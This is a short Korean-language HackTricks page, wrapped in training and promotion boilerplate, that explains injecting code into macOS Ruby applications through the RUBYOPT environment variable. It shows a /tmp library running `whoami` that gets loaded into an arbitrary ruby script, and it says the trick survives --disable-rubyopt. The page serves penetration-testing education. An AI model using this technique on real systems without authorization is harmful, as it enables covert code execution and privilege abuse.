macOS Ruby Applications Injection

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

RUBYOPT

이 환경 변수를 사용하면 ruby가 실행될 때 새로운 매개변수를 추가할 수 있습니다. 매개변수 **-e**는 실행할 ruby 코드를 지정하는 데 사용할 수 없지만, 매개변수 **-I**와 **-r**를 사용하여 로드 경로에 새 폴더를 추가한 다음 로드할 라이브러리를 지정할 수 있습니다.

라이브러리 **inject.rb**를 **/tmp**에 생성합니다:

puts `whoami`

어디에나 다음과 같은 루비 스크립트를 생성하세요:

puts 'Hello, World!'

그런 다음 임의의 루비 스크립트를 다음과 같이 로드합니다:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

재미있는 사실, --disable-rubyopt 매개변수와 함께 작동합니다:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.